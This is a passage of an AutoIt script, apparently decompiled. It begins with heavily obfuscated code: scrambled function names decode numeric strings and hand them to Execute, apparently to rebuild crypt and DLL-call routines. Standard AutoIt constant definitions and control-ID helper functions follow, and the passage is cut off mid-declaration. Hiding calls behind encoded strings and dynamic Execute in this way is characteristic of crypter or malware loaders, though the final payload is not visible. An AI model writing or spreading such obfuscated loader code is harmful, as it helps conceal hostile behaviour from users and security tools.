("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,57,59,54,60,57,59,54,55,62,55,53,55,2,55,53,55,55,56,54,56,53,56,53,56,53,55,55,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,3,55,53,55,57,60,59,57,57,59,54,60,57,59,54,55,62" ) ) ) $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,59,56,60,55,60,62,60,53,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,55,55,58,57,60,55,60,58,59,58,55,55,55,62,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,1,55,55,55,3,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,57,59,54,60,57,59,54,55,62,55,62" ) ) ) $IPLAINTEXTSIZE = $ARET [BTBXJYMRFGAETPA ("59" ) ] $TTEMPSTRUCT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,55,57,59,62,58,53,59,3,59,54,59,62,59,5,58,57,59,58,60,61,60,57,58,56,59,62,60,1,59,58,55,53,55,2,55,53,56,54,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,62,55,62" ) ) ) $VRETURN = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,57,4,59,62,59,57,55,61,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,58,57,59,58,59,4,60,53,58,56,60,57,60,55,60,58,59,56,60,57,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,62,55,3,55,53,56,54,55,3,55,53,55,57,59,62,58,53,59,3,59,54,59,62,59,5,58,57,59,58,60,61,60,57,58,56,59,62,60,1,59,58,55,62" ) ) ) $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,55,55,56,54,55,55,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,56,60,57,60,55,59,6,60,62,57,2,59,58,60,62,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62" ) ) ) $__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("53" ) ] -= BTBXJYMRFGAETPA ("54" ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,58,55,59,58,59,3,59,58,59,54,60,56,59,58,57,56,59,6,59,5,60,57,59,58,60,61,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,62" ) ) ) $BBINARY = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,55,61,55,57,60,59,58,55,59,58,60,57,60,58,60,55,59,5,55,62" ) ) ) LOCAL $TINPUT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,59,55,57,55,59,62,59,5,59,54,60,55,60,62,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,3,55,53,56,54,55,3,55,53,55,57,59,55,57,55,59,62,59,5,59,54,60,55,60,62,55,62" ) ) ) LOCAL $TBUFFER = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,56,54,56,59,55,53,55,1,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) ) LOCAL $A_CALL = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,5,60,57,59,57,59,3,59,3,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,62,59,5,60,57,55,55,55,3,55,55,58,55,60,57,59,3,57,57,59,58,59,56,59,6,59,4,60,53,60,55,59,58,60,56,60,56,57,55,60,58,59,59,59,59,59,58,60,55,55,55,55,3,55,55,60,58,60,56,59,61,59,6,60,55,60,57,55,55,55,3,55,53,56,55,55,3,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,3,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,1,55,55,55,3,55,53,56,53,55,62" ) ) ) LOCAL $TOUTPUT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,55,57,59,54,58,6,57,56,59,54,59,3,59,3,58,2,56,59,58,4,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,62" ) ) ) RETURN $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,6,60,58,60,57,60,53,60,58,60,57,55,3,55,53,56,54,55,62" ) ) ) ENDFUNC FUNC QLQVZSECZEVG () RETURN EXECUTE (BTBXJYMRFGAETPA ("19,34,31,38,38,5,50,31,29,47,46,31" ) ) ENDFUNC FUNC LRFVYXQFDMPD () RETURN EXECUTE (BTBXJYMRFGAETPA ("9,40,31,46,7,31,46" ) ) ENDFUNC FUNC WOYAFFSZNMVD () RETURN EXECUTE (BTBXJYMRFGAETPA ("13,45,33,2,41,50" ) ) ENDFUNC GLOBAL CONST $OPT_COORDSRELATIVE = 0 GLOBAL CONST $OPT_COORDSABSOLUTE = 1 GLOBAL CONST $OPT_COORDSCLIENT = 2 GLOBAL CONST $OPT_ERRORSILENT = 0 GLOBAL CONST $OPT_ERRORFATAL = 1 GLOBAL CONST $OPT_CAPSNOSTORE = 0 GLOBAL CONST $OPT_CAPSSTORE = 1 GLOBAL CONST $OPT_MATCHSTART = 1 GLOBAL CONST $OPT_MATCHANY = 2 GLOBAL CONST $OPT_MATCHEXACT = 3 GLOBAL CONST $OPT_MATCHADVANCED = 4 GLOBAL CONST $CCS_TOP = 1 GLOBAL CONST $CCS_NOMOVEY = 2 GLOBAL CONST $CCS_BOTTOM = 3 GLOBAL CONST $CCS_NORESIZE = 4 GLOBAL CONST $CCS_NOPARENTALIGN = 8 GLOBAL CONST $CCS_NOHILITE = 16 GLOBAL CONST $CCS_ADJUSTABLE = 32 GLOBAL CONST $CCS_NODIVIDER = 64 GLOBAL CONST $CCS_VERT = 128 GLOBAL CONST $CCS_LEFT = 129 GLOBAL CONST $CCS_NOMOVEX = 130 GLOBAL CONST $CCS_RIGHT = 131 GLOBAL CONST $DT_DRIVETYPE = 1 GLOBAL CONST $DT_SSDSTATUS = 2 GLOBAL CONST $DT_BUSTYPE = 3 GLOBAL CONST $PROXY_IE = 0 GLOBAL CONST $PROXY_NONE = 1 GLOBAL CONST $PROXY_SPECIFIED = 2 GLOBAL CONST $OBJID_WINDOW = 0 GLOBAL CONST $OBJID_TITLEBAR = 4294967294 GLOBAL CONST $OBJID_SIZEGRIP = 4294967289 GLOBAL CONST $OBJID_CARET = 4294967288 GLOBAL CONST $OBJID_CURSOR = 4294967287 GLOBAL CONST $OBJID_ALERT = 4294967286 GLOBAL CONST $OBJID_SOUND = 4294967285 GLOBAL CONST $DLG_CENTERONTOP = 0 GLOBAL CONST $DLG_NOTITLE = 1 GLOBAL CONST $DLG_NOTONTOP = 2 GLOBAL CONST $DLG_TEXTLEFT = 4 GLOBAL CONST $DLG_TEXTRIGHT = 8 GLOBAL CONST $DLG_MOVEABLE = 16 GLOBAL CONST $DLG_TEXTVCENTER = 32 GLOBAL CONST $IDC_UNKNOWN = 0 GLOBAL CONST $IDC_APPSTARTING = 1 GLOBAL CONST $IDC_ARROW = 2 GLOBAL CONST $IDC_CROSS = 3 GLOBAL CONST $IDC_HAND = 32649 GLOBAL CONST $IDC_HELP = 4 GLOBAL CONST $IDC_IBEAM = 5 GLOBAL CONST $IDC_ICON = 6 GLOBAL CONST $IDC_NO = 7 GLOBAL CONST $IDC_SIZE = 8 GLOBAL CONST $IDC_SIZEALL = 9 GLOBAL CONST $IDC_SIZENESW = 10 GLOBAL CONST $IDC_SIZENS = 11 GLOBAL CONST $IDC_SIZENWSE = 12 GLOBAL CONST $IDC_SIZEWE = 13 GLOBAL CONST $IDC_UPARROW = 14 GLOBAL CONST $IDC_WAIT = 15 GLOBAL CONST $IDI_APPLICATION = 32512 GLOBAL CONST $IDI_ASTERISK = 32516 GLOBAL CONST $IDI_EXCLAMATION = 32515 GLOBAL CONST $IDI_HAND = 32513 GLOBAL CONST $IDI_QUESTION = 32514 GLOBAL CONST $IDI_WINLOGO = 32517 GLOBAL CONST $IDI_SHIELD = 32518 GLOBAL CONST $IDI_ERROR = $IDI_HAND GLOBAL CONST $IDI_INFORMATION = $IDI_ASTERISK GLOBAL CONST $IDI_WARNING = $IDI_EXCLAMATION GLOBAL CONST $SD_LOGOFF = 0 GLOBAL CONST $SD_SHUTDOWN = 1 GLOBAL CONST $SD_REBOOT = 2 GLOBAL CONST $SD_FORCE = 4 GLOBAL CONST $SD_POWERDOWN = 8 GLOBAL CONST $SD_FORCEHUNG = 16 GLOBAL CONST $SD_STANDBY = 32 GLOBAL CONST $SD_HIBERNATE = 64 GLOBAL CONST $STDIN_CHILD = 1 GLOBAL CONST $STDOUT_CHILD = 2 GLOBAL CONST $STDERR_CHILD = 4 GLOBAL CONST $STDERR_MERGED = 8 GLOBAL CONST $STDIO_INHERIT_PARENT = 16 GLOBAL CONST $RUN_CREATE_NEW_CONSOLE = 65536 GLOBAL CONST $UBOUND_DIMENSIONS = 0 GLOBAL CONST $UBOUND_ROWS = 1 GLOBAL CONST $UBOUND_COLUMNS = 2 GLOBAL CONST $MOUSEEVENTF_ABSOLUTE = 32768 GLOBAL CONST $MOUSEEVENTF_MOVE = 1 GLOBAL CONST $MOUSEEVENTF_LEFTDOWN = 2 GLOBAL CONST $MOUSEEVENTF_LEFTUP = 4 GLOBAL CONST $MOUSEEVENTF_RIGHTDOWN = 8 GLOBAL CONST $MOUSEEVENTF_RIGHTUP = 16 GLOBAL CONST $MOUSEEVENTF_MIDDLEDOWN = 32 GLOBAL CONST $MOUSEEVENTF_MIDDLEUP = 64 GLOBAL CONST $MOUSEEVENTF_WHEEL = 2048 GLOBAL CONST $MOUSEEVENTF_XDOWN = 128 GLOBAL CONST $MOUSEEVENTF_XUP = 256 GLOBAL CONST $REG_NONE = 0 GLOBAL CONST $REG_SZ = 1 GLOBAL CONST $REG_EXPAND_SZ = 2 GLOBAL CONST $REG_BINARY = 3 GLOBAL CONST $REG_DWORD = 4 GLOBAL CONST $REG_DWORD_LITTLE_ENDIAN = 4 GLOBAL CONST $REG_DWORD_BIG_ENDIAN = 5 GLOBAL CONST $REG_LINK = 6 GLOBAL CONST $REG_MULTI_SZ = 7 GLOBAL CONST $REG_RESOURCE_LIST = 8 GLOBAL CONST $REG_FULL_RESOURCE_DESCRIPTOR = 9 GLOBAL CONST $REG_RESOURCE_REQUIREMENTS_LIST = 10 GLOBAL CONST $REG_QWORD = 11 GLOBAL CONST $REG_QWORD_LITTLE_ENDIAN = 11 GLOBAL CONST $HWND_BOTTOM = 1 GLOBAL CONST $HWND_NOTOPMOST = + 4294967294 GLOBAL CONST $HWND_TOP = 0 GLOBAL CONST $HWND_TOPMOST = + 4294967295 GLOBAL CONST $SWP_NOSIZE = 1 GLOBAL CONST $SWP_NOMOVE = 2 GLOBAL CONST $SWP_NOZORDER = 4 GLOBAL CONST $SWP_NOREDRAW = 8 GLOBAL CONST $SWP_NOACTIVATE = 16 GLOBAL CONST $SWP_FRAMECHANGED = 32 GLOBAL CONST $SWP_DRAWFRAME = 32 GLOBAL CONST $SWP_SHOWWINDOW = 64 GLOBAL CONST $SWP_HIDEWINDOW = 128 GLOBAL CONST $SWP_NOCOPYBITS = 256 GLOBAL CONST $SWP_NOOWNERZORDER = 512 GLOBAL CONST $SWP_NOREPOSITION = 512 GLOBAL CONST $SWP_NOSENDCHANGING = 1024 GLOBAL CONST $SWP_DEFERERASE = 8192 GLOBAL CONST $SWP_ASYNCWINDOWPOS = 16384 GLOBAL CONST $KEYWORD_DEFAULT = 1 GLOBAL CONST $KEYWORD_NULL = 2 GLOBAL CONST $DECLARED_LOCAL = + 4294967295 GLOBAL CONST $DECLARED_UNKNOWN = 0 GLOBAL CONST $DECLARED_GLOBAL = 1 GLOBAL CONST $ASSIGN_CREATE = 0 GLOBAL CONST $ASSIGN_FORCELOCAL = 1 GLOBAL CONST $ASSIGN_FORCEGLOBAL = 2 GLOBAL CONST $ASSIGN_EXISTFAIL = 4 GLOBAL CONST $BI_ENABLE = 0 GLOBAL CONST $BI_DISABLE = 1 GLOBAL CONST $BREAK_ENABLE = 1 GLOBAL CONST $BREAK_DISABLE = 0 GLOBAL CONST $CDTRAY_OPEN = "open" GLOBAL CONST $CDTRAY_CLOSED = "closed" GLOBAL CONST $SEND_DEFAULT = 0 GLOBAL CONST $SEND_RAW = 1 GLOBAL CONST $DIR_DEFAULT = 0 GLOBAL CONST $DIR_EXTENDED = 1 GLOBAL CONST $DIR_NORECURSE = 2 GLOBAL CONST $DIR_REMOVE = 1 GLOBAL CONST $DT_ALL = "ALL" GLOBAL CONST $DT_CDROM = "CDROM" GLOBAL CONST $DT_REMOVABLE = "REMOVABLE" GLOBAL CONST $DT_FIXED = "FIXED" GLOBAL CONST $DT_NETWORK = "NETWORK" GLOBAL CONST $DT_RAMDISK = "RAMDISK" GLOBAL CONST $DT_UNKNOWN = "UNKNOWN" GLOBAL CONST $DT_UNDEFINED = 1 GLOBAL CONST $DT_FAT = "FAT" GLOBAL CONST $DT_FAT32 = "FAT32" GLOBAL CONST $DT_EXFAT = "exFAT" GLOBAL CONST $DT_NTFS = "NTFS" GLOBAL CONST $DT_NWFS = "NWFS" GLOBAL CONST $DT_CDFS = "CDFS" GLOBAL CONST $DT_UDF = "UDF" GLOBAL CONST $DMA_DEFAULT = 0 GLOBAL CONST $DMA_PERSISTENT = 1 GLOBAL CONST $DMA_AUTHENTICATION = 8 GLOBAL CONST $DS_UNKNOWN = "UNKNOWN" GLOBAL CONST $DS_READY = "READY" GLOBAL CONST $DS_NOTREADY = "NOTREADY" GLOBAL CONST $DS_INVALID = "INVALID" GLOBAL CONST $MOUSE_CLICK_LEFT = "left" GLOBAL CONST $MOUSE_CLICK_RIGHT = "right" GLOBAL CONST $MOUSE_CLICK_MIDDLE = "middle" GLOBAL CONST $MOUSE_CLICK_MAIN = "main" GLOBAL CONST $MOUSE_CLICK_MENU = "menu" GLOBAL CONST $MOUSE_CLICK_PRIMARY = "primary" GLOBAL CONST $MOUSE_CLICK_SECONDARY = "secondary" GLOBAL CONST $MOUSE_WHEEL_UP = "up" GLOBAL CONST $MOUSE_WHEEL_DOWN = "down" GLOBAL CONST $NUMBER_AUTO = 0 GLOBAL CONST $NUMBER_32BIT = 1 GLOBAL CONST $NUMBER_64BIT = 2 GLOBAL CONST $NUMBER_DOUBLE = 3 GLOBAL CONST $OBJ_NAME = 1 GLOBAL CONST $OBJ_STRING = 2 GLOBAL CONST $OBJ_PROGID = 3 GLOBAL CONST $OBJ_FILE = 4 GLOBAL CONST $OBJ_MODULE = 5 GLOBAL CONST $OBJ_CLSID = 6 GLOBAL CONST $OBJ_IID = 7 GLOBAL CONST $EXITCLOSE_NORMAL = 0 GLOBAL CONST $EXITCLOSE_BYEXIT = 1 GLOBAL CONST $EXITCLOSE_BYCLICK = 2 GLOBAL CONST $EXITCLOSE_BYLOGOFF = 3 GLOBAL CONST $EXITCLOSE_BYSHUTDOWN = 4 GLOBAL CONST $PROCESS_STATS_MEMORY = 0 GLOBAL CONST $PROCESS_STATS_IO = 1 GLOBAL CONST $PROCESS_LOW = 0 GLOBAL CONST $PROCESS_BELOWNORMAL = 1 GLOBAL CONST $PROCESS_NORMAL = 2 GLOBAL CONST $PROCESS_ABOVENORMAL = 3 GLOBAL CONST $PROCESS_HIGH = 4 GLOBAL CONST $PROCESS_REALTIME = 5 GLOBAL CONST $RUN_LOGON_NOPROFILE = 0 GLOBAL CONST $RUN_LOGON_PROFILE = 1 GLOBAL CONST $RUN_LOGON_NETWORK = 2 GLOBAL CONST $RUN_LOGON_INHERIT = 4 GLOBAL CONST $SOUND_NOWAIT = 0 GLOBAL CONST $SOUND_WAIT = 1 GLOBAL CONST $SHEX_OPEN = "open" GLOBAL CONST $SHEX_EDIT = "edit" GLOBAL CONST $SHEX_PRINT = "print" GLOBAL CONST $SHEX_PROPERTIES = "properties" GLOBAL CONST $TCP_DATA_DEFAULT = 0 GLOBAL CONST $TCP_DATA_BINARY = 1 GLOBAL CONST $UDP_OPEN_DEFAULT = 0 GLOBAL CONST $UDP_OPEN_BROADCAST = 1 GLOBAL CONST $UDP_DATA_DEFAULT = 0 GLOBAL CONST $UDP_DATA_BINARY = 1 GLOBAL CONST $UDP_DATA_ARRAY = 2 GLOBAL CONST $TIP_NOICON = 0 GLOBAL CONST $TIP_INFOICON = 1 GLOBAL CONST $TIP_WARNINGICON = 2 GLOBAL CONST $TIP_ERRORICON = 3 GLOBAL CONST $TIP_BALLOON = 1 GLOBAL CONST $TIP_CENTER = 2 GLOBAL CONST $TIP_FORCEVISIBLE = 4 GLOBAL CONST $WINDOWS_NOONTOP = 0 GLOBAL CONST $WINDOWS_ONTOP = 1 GLOBAL CONST $WIN_STATE_EXISTS = 1 GLOBAL CONST $WIN_STATE_VISIBLE = 2 GLOBAL CONST $WIN_STATE_ENABLED = 4 GLOBAL CONST $WIN_STATE_ACTIVE = 8 GLOBAL CONST $WIN_STATE_MINIMIZED = 16 GLOBAL CONST $WIN_STATE_MAXIMIZED = 32 GLOBAL CONST $_UDF_GLOBALIDS_OFFSET = 2 GLOBAL CONST $_UDF_GLOBALID_MAX_WIN = 16 GLOBAL CONST $_UDF_STARTID = 10000 GLOBAL CONST $_UDF_GLOBALID_MAX_IDS = 55535 GLOBAL CONST $__UDFGUICONSTANT_WS_TABSTOP = 65536 GLOBAL CONST $__UDFGUICONSTANT_WS_VISIBLE = 268435456 GLOBAL CONST $__UDFGUICONSTANT_WS_CHILD = 1073741824 GLOBAL $__G_AUDF_GLOBALIDS_USED [$_UDF_GLOBALID_MAX_WIN ] [$_UDF_GLOBALID_MAX_IDS + $_UDF_GLOBALIDS_OFFSET + 1 ] FUNC __UDF_GETNEXTGLOBALID ($HWND ) LOCAL $NCTRLID , $IUSEDINDEX = + 4294967295 , $BALLUSED = TRUE IF NOT WINEXISTS ($HWND ) THEN RETURN SETERROR (+ 4294967295 , + 4294967295 , 0 ) FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295 IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] <> 0 THEN IF NOT WINEXISTS ($__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] ) THEN FOR $X = 0 TO UBOUND ($__G_AUDF_GLOBALIDS_USED , $UBOUND_COLUMNS ) + 4294967295 $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [$X ] = 0 NEXT $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [1 ] = $_UDF_STARTID $BALLUSED = FALSE ENDIF ENDIF NEXT FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295 IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = $HWND THEN $IUSEDINDEX = $IINDEX EXITLOOP ENDIF NEXT IF $IUSEDINDEX = + 4294967295 THEN FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295 IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = 0 THEN $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = $HWND $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [1 ] = $_UDF_STARTID $BALLUSED = FALSE $IUSEDINDEX = $IINDEX EXITLOOP ENDIF NEXT ENDIF IF $IUSEDINDEX = + 4294967295 AND $BALLUSED THEN RETURN SETERROR (16 , 0 , 0 ) IF $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [1 ] = $_UDF_STARTID + $_UDF_GLOBALID_MAX_IDS THEN FOR $IIDINDEX = $_UDF_GLOBALIDS_OFFSET TO UBOUND ($__G_AUDF_GLOBALIDS_USED , $UBOUND_COLUMNS ) + 4294967295 IF $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [$IIDINDEX ] = 0 THEN $NCTRLID = ($IIDINDEX - $_UDF_GLOBALIDS_OFFSET ) + 10000 $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [$IIDINDEX ] = $NCTRLID RETURN $NCTRLID ENDIF NEXT RETURN SETERROR (+ 4294967295 , $_UDF_GLOBALID_MAX_IDS , 0 ) ENDIF $NCTRLID = $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [1 ] $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [1 ] += 1 $__G_AUDF_GLOBALIDS_USED [$IUSEDINDEX ] [($NCTRLID + 4294957296 ) + $_UDF_GLOBALIDS_OFFSET ] = $NCTRLID RETURN $NCTRLID ENDFUNC FUNC __UDF_FREEGLOBALID ($HWND , $IGLOBALID ) IF $IGLOBALID - $_UDF_STARTID < 0 OR $IGLOBALID - $_UDF_STARTID > $_UDF_GLOBALID_MAX_IDS THEN RETURN SETERROR (+ 4294967295 , 0 , FALSE ) FOR $IINDEX = 0 TO $_UDF_GLOBALID_MAX_WIN + 4294967295 IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [0 ] = $HWND THEN FOR $X = $_UDF_GLOBALIDS_OFFSET TO UBOUND ($__G_AUDF_GLOBALIDS_USED , $UBOUND_COLUMNS ) + 4294967295 IF $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [$X ] = $IGLOBALID THEN $__G_AUDF_GLOBALIDS_USED [$IINDEX ] [$X ] = 0 RETURN TRUE ENDIF NEXT RETURN SETERROR (+ 4294967293 , 0 , FALSE ) ENDIF NEXT RETURN SETERROR (+ 4294967294 , 0 , FALSE ) ENDFUNC GLOBAL CONST $__DLG_WM_USER = 1024 GLOBAL CONST $BIF_BROWSEFILEJUNCTIONS = 65536 GLOBAL CONST $BIF_BROWSEFORCOMPUTER = 4096 GLOBAL CONST $BIF_BROWSEFORPRINTER = 8192 GLOBAL CONST $BIF_BROWSEINCLUDEFILES = 16384 GLOBAL CONST $BIF_BROWSEINCLUDEURLS = 128 GLOBAL CONST $BIF_DONTGOBELOWDOMAIN = 2 GLOBAL CONST $BIF_EDITBOX = 16 GLOBAL CONST $BIF_NEWDIALOGSTYLE = 64 GLOBAL CONST $BIF_NONEWFOLDERBUTTON = 512 GLOBAL CONST $BIF_NOTRANSLATETARGETS = 1024 GLOBAL CONST $BIF_RETURNFSANCESTORS = 8 GLOBAL CONST $BIF_RETURNONLYFSDIRS = 1 GLOBAL CONST $BIF_SHAREABLE = 32768 GLOBAL CONST $BIF_STATUSTEXT = 4 GLOBAL CONST $BIF_USENEWUI = BITOR ($BIF_EDITBOX , $BIF_NEWDIALOGSTYLE ) GLOBAL CONST $BIF_UAHINT = 256 GLOBAL CONST $BIF_VALIDATE = 32 GLOBAL CONST $BFFM_INITIALIZED = 1 GLOBAL CONST $BFFM_IUNKNOWN = 5 GLOBAL CONST $BFFM_SELCHANGED = 2 GLOBAL CONST $BFFM_VALIDATEFAILED = 4 GLOBAL CONST $BFFM_SETSTATUSTEXTA = $__DLG_WM_USER + 100 GLOBAL CONST $BFFM_ENABLEOK = $__DLG_WM_USER + 101 GLOBAL CONST $BFFM_SETSELECTIONA = $__DLG_WM_USER + 102 GLOBAL CONST $BFFM_SETSELECTIONW = $__DLG_WM_USER + 103 GLOBAL CONST $BFFM_SETSTATUSTEXTW = $__DLG_WM_USER + 104 GLOBAL CONST $BFFM_SETOKTEXT = $__DLG_WM_USER + 105 GLOBAL CONST $BFFM_SETEXPANDED = $__DLG_WM_USER + 106 GLOBAL CONST $CDERR_DIALOGFAILURE = 65535 GLOBAL CONST $CDERR_FINDRESFAILURE = 6 GLOBAL CONST $CDERR_INITIALIZATION = 2 GLOBAL CONST $CDERR_LOADRESFAILURE = 7 GLOBAL CONST $CDERR_LOADSTRFAILURE = 5 GLOBAL CONST $CDERR_LOCKRESFAILURE = 8 GLOBAL CONST $CDERR_MEMALLOCFAILURE = 9 GLOBAL CONST $CDERR_MEMLOCKFAILURE = 10 GLOBAL CONST $CDERR_NOHINSTANCE = 4 GLOBAL CONST $CDERR_NOHOOK = 11 GLOBAL CONST $CDERR_NOTEMPLATE = 3 GLOBAL CONST 